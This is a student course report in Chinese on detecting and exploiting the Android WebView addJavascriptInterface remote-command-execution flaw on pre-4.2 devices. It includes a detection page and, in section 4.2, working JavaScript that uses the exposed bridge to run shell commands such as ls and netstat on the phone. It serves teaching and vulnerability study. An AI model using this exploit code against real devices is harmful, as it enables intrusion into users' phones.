《安卓Webview漏洞的检测与利用》

来源:互联网 发布:mac面对面快传 编辑:程序博客网 时间:2024/06/09 12:48

 




 

       安卓Webview漏洞的检测与利用》 

 

                   课 程 名 称:     信息安全                

院       系:  数学与计算机科学学院       

专       业:  计算机科学与技术(网络方向)

班     级:   2011级计本(6)班         

姓       名:  张建谈                    

学       号:   105032011105              

指 导 教 师:      陈志德                  

开 课 时 间: 2013 2014 学年第 2 学期


 

目  录

1 什么是WebView.............................................................................................................2

2 WebView控件影响...........................................................................................................3

3 实验环境.......................................................................................................................4

3.1设备简介.............................................................................................................4

3.2搭建个人IIS网站..................................................................................................4

3.3局域网配置..........................................................................................................7

4 临床测试.......................................................................................................................9

4.1接口测试.............................................................................................................9

4.2Webview接口的利用............................................................................................10

5 参考文献:..................................................................................................................13

 

 

 

 

 

 

 

 

1       、什么是WebView

android.webkit库聚合了webkit内核的浏览器功能,WebView就是它的一个控件,可以使得网页轻松的内嵌到app里。WebView控件的功能包括向前、向后导航,放大、缩小,文本搜索,背景色......

WebView的几个常用方法:

addJavascriptInterface(Object obj,String interfaceName):使用此函数来绑定一个对象的Javascript,该方法可以访问JavaScript

loadDataWithBaseURL(StringbaseUrl, String data, String mimeType, String encoding, String historyUrl):加载到WebView给定的数据,以此为基础内容的网址提供的网址

capturePicture():捕捉当前WebView的图片影响版本: Android 4.2 以下

威胁程度: 高危

常见影响app:浏览器、手机迅雷、手机QQ、微博.....。

 

 

 

2       WebView控件影响

    在WebView控件下有个比较特殊的接口方法:addJavascriptInterface,它能实现本地java同js的交互。利用addJavascriptInterface这个接口方法,能够实现透过webkit来控制安卓本机,能影响到4.2.1以下版本下的安卓系统手机。

   如果app的浏览器代码存在类似如下的写法,那么黑客就可以在网页中嵌入一段远程代码执行命令。

 

const-stringv0, " js2java "

invoke-virtual{p1, v1, v0},Lcom/XXXapp/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)

 

 

3       实验环境

3.1    设备简介

设备:一台安卓手机,一台电脑,win7系统。其中安卓手机版本可以为4.2安卓系统一下的手机,不包括4.2.1安卓系统的手机,

3.2    搭建个人IIS网站

1、在win7下对IIS个人网站进行配置配置。搭建IIS第一步依次点击“开始”->“控制面板”->“程序”,在出现的“程序和功能”界面中单击“打开或关闭Windows功能”展开“Internet信息服务”

选择好后单击“确定”按钮,系统开始安装IIS组件,几分钟后IIS即可安装完成

依次点击“开始”->“所有程序”->“管理工具”->“Internet信息服务(IIS)管理器”,在出现的“Internet信息服务(IIS)管理器”界面中,选中“Default Web Site”,双击中间的“ASP”

把“启用父路径”改为“True”

 

 

 

 

 

 

下面就是配置站点了。单击右侧“高级设置,查看默认物理路径目录文件,

当然你可以设定一个物理路径,该路径问网页存放目录。

3.3    局域网配置

连接局域网:利用手机热点或无线WIFI将电脑与手机连在同一个局域网下。

 22打开电脑端的终端命令窗口,输入ifconfig查阅无线连接是的ip,查阅ip为192.168.199.105

配置iis网站,打开个人网站,单击右侧网站绑定,把ip地址绑定为查阅到的ip

4       临床测试

4.1    接口测试

编写一个测试是否存在Webview控件的脚本网页,放入个人网站默认文件中,利用手机浏览器去浏览该网页,假如出现特殊接口则存在该控件漏洞,如下截图。源代码如下

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8" />

<title>WebView漏洞检测</title>

<meta name="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0,user-scalable=0">

</head>

<body>

<p>

<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>

</p>

<scripttype="text/javascript">

function check()

{

    for(var obj in window)

    {

       try {

           if ("getClass" in window[obj]) {

                try{

                    window[obj].getClass();

                    document.write('<spanstyle="color:red">'+obj+'</span>');

                    document.write('<br/>');

                }catch(e){

                }  

           }

       } catch(e) {

       }

    }

}

check();

</script>

</body>

</html>

该手机存在Webview远程接口,接口名字为searBoxJavaBridge_注意该接口名字,记录下来,千万别记。

4.2    Webview接口的利用

1: 编写脚本网页,执行ls命令并记录,还可执行其他命令工具如netstat,nc等。其中searchBoxJavaBridge_为控件接口。举例:下面执行ls命令并记录。

<script type="text/javascript">

function execute(cmdArgs)

{

return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

try{ execute(["/system/bin/sh","-c","ls> /sdcard/log-ls.txt"]);

   alert("I am look");

}catch(e)

{alert(e);

}

</script>

sdcard的根目录生成了log-ls.txt

 

POC 2: 执行netstat -an命令追踪手机开放的端口及IP并记录

try{

  execute(["/system/bin/sh","-c","netstat  -an >

/sdcard/log-netstat.txt"]);

alert("letme see see your netstat info");}

 

 

 

5       参考文献:

[1]百度文库:win7iis的安装与配置方法:

[2]WooYun知识库WebView中接口隐患与手机挂马利用

[3]安卓端WebView控件引起的远程命令执行漏洞,作者伍志强

 

0 0
原创粉丝点击